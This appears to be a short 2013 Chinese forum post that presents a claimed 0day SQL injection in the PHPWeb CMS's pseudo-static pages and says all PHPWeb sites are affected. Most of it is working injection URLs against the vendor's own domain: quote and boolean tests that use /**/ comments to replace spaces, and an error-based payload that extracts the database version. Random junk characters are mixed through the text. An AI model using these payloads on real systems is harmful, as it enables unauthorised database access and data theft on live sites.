phpweb伪静态页面注入0day

admin

phpweb所有的整站程序伪静态页面都存在sql注入
# B; p' R) g) e0 I3 g) ^7 z& ?
% |6 Z5 J: J4 ?$ h, n$ ?( A+ E/ i主站：http://phpweb.net/
加’检测：

http://www.phpweb.net/down/html/?772′.html

/ I. D9 i; p; r8 K出错
存在注入。
不能用空格，只能用/*罗
( P9 Z1 e2 X: y* Whttp://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

/ h* {+ Q8 L- E  h1 @http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错.
爆数据库版本：

?
1
1 M1 _( c7 o0 \7 G! |3 U# q+ q, Bhttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50        
* ]) p# _+ x  f* U" M